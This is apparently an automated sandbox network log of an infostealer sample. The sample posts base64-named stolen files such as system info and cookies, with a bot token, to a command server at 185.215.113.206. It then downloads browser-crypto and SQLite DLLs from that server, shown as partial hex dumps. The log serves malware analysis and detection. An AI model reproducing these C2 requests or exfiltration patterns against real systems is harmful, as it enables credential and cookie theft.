Oct 31, 2024 03:04:02.780236006 CET	7307	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 Data Ascii: ------FBAKEHIEBKJJJJJKKKEGContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------FBAKEHIEBKJJJJJKKKEGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 31, 2024 03:04:03.578568935 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:03.833058119 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 03:04:04.113308907 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49735	185.215.113.206	80	5260	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:17.112843037 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHD Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 03:04:17.112864017 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 31, 2024 03:04:18.523832083 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:18.693269968 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBFHCAKFBGDHIDHIDB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="file"------GIEBFHCAKFBGDHIDHIDB--
Oct 31, 2024 03:04:19.462719917 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49823	185.215.113.206	80	5260	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:27.344434977 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 03:04:27.344474077 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 31, 2024 03:04:28.763339996 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:28.964739084 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file"------IIJEBAECGCBKECAAAEBF--
Oct 31, 2024 03:04:29.743972063 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:30.293770075 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 03:04:30.578161001 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 31, 2024 03:04:30.578331947 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 31, 2024 03:04:30.578341961 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 31, 2024 03:04:30.578392982 CET	212	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$
Oct 31, 2024 03:04:30.578402996 CET	1236	IN	Data Raw: 0f b6 c9 c1 e1 18 89 d7 89 54 24 18 0f b6 d2 c1 e2 10 09 ca 0f b6 7c 24 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 Data Ascii: T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?
Oct 31, 2024 03:04:30.578413963 CET	1236	IN	Data Raw: 03 00 00 00 29 c8 c1 f8 1f 80 7c 33 f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 Data Ascii: )\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1
Oct 31, 2024 03:04:30.578425884 CET	424	IN	Data Raw: c4 08 c7 47 08 01 00 00 00 57 e8 3a fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 Data Ascii: GW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjW
Oct 31, 2024 03:04:30.578437090 CET	1236	IN	Data Raw: 04 b8 ff ff ff ff e9 99 00 00 00 8b 75 10 8b 48 18 8b 1f ff 15 00 80 0a 10 ff 75 14 56 ff 75 0c 53 ff d1 83 c4 10 8b 16 8b 4f 04 b8 ff ff ff ff 3b 11 75 70 8b 49 10 8b 1f ff 15 00 80 0a 10 53 ff d1 83 c4 04 8b 07 89 45 f0 8b 47 04 8b 48 14 8b 70 Data Ascii: uHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHu
Oct 31, 2024 03:04:30.578447104 CET	212	IN	Data Raw: 8b 5d 08 8b 45 f0 8a 88 00 01 00 00 8a b0 01 01 00 00 83 7d 14 07 0f 87 81 01 00 00 83 7d 14 00 0f 84 61 01 00 00 89 c8 04 01 89 4d ec 0f b6 c8 89 fb 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8a 13 32 14 Data Ascii: ]E}}aM}$7$7u2M$E}$7$7u]S2MQE}$7$7u]S2MQ
Oct 31, 2024 03:04:30.578752041 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Oct 31, 2024 03:04:31.661678076 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 03:04:31.946950912 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 31, 2024 03:04:32.586297989 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 03:04:32.871988058 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 31, 2024 03:04:33.759145021 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 03:04:34.044064999 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 31, 2024 03:04:35.767054081 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 03:04:36.051557064 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 31, 2024 03:04:36.451669931 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 03:04:36.735970020 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
